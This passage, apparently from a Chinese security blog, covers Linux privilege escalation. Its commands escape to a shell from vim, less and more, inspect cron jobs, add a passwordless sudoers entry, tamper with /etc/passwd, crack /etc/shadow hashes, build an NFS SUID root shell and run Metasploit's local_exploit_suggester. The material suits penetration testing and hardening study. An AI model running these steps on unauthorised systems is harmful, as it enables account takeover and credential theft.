2.通过vim来打开shell

vim
:set shell=/bin/sh
:shell

vim -c ':!/bin/sh'
Bash
bash -p
less
less /etc/passwd

!/bin/sh
more
more /etc/passwd

!/bin/sh

3.计划任务提权

inux系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非roo权限的用户是不可以列出root用户的计划任务的。但是/ etc/内系统的计划任务可以被列出。

列出计划任务

ls -l /etc/cron*
cat /etc/crontab

依次查看计划任务是否存在配置不当问题,例如普通权限可以修改,如出现,就可以进行提权

4.sudo提权

sudo是常用的Linux系统命令,允许普通用户执行root命令

普通用户在使用sudo执行命令的过程中,会暂时拥有root权限,如果该命令执行没有中断,而且该命令运行的过程中可以调用系统命令,那就可以直接运行/bin/bash,此时就是在root权限下运行bash了。

  • 管理可能为了方便对/etc/sudoers进行编辑成sudo免密码

vim /etc/sudoers

添加:test ALL=(ALL:ALL) NOPASSWD:ALL #test为我们的用户

5.环境变量提权

参考

6.明文root密码提权

大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。

当我们的passwd和shadow一些权限配置不当就可能会导致提权

passwd文件

test:x:1000:1000::/home/test:/bin/bash

passwd 由冒号分割,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 里面了(非root用户不可读)。

当我们的passwd文件给普通用户配置了写权限,那么我们就可以通过修改x为一段已知的密码的hash值来进行提权。

shadow文件

test: 6 6 6Mqh9T8ip$4Ev.HJTBdyobrYaW/KzBlL0yx6wefeB.VDcE7KiDiwoUvGkqShU9jRK4cEZA2kBRsyH2fWjmbxc/ZyVWfXwFJ/:18849:0:99999:7:::

假如我们对shadow文件有读取权限我们就可以利用hash、john等对其进行爆破

7.第三方提权

1、NFS提权

当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。

①查看NFS服务器上的共享目录

sudo showmount -e x.x.x.x

②创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建Suid shell。

sudo mkdir -p /tmp

sudo mount -t nfs x.x.x.x:/home/test /tmp

cp /bin/bash /tmp/shell

chmod u+s /tmp/shell

③回到要提权的服务器上,使用普通用户使用shell -p来获取root权限。

四、msf自动化提权

大家知道msf中自带的漏洞模块太多,所有咱们可以用msf自带命令帮助咱们进行提权。

1.把session会话挂到后台

2.use post/multi/recon/local_exploit_suggester

3.set LHOST ip

4.set session 1

5.exploit

执行之后看到的结果就是针对当前系统可能提权成功的漏洞利用模块。

参考链接:https://www.cnblogs.com/-mo-/p/12718115.html

你可能感兴趣的:(内网,安全,web安全)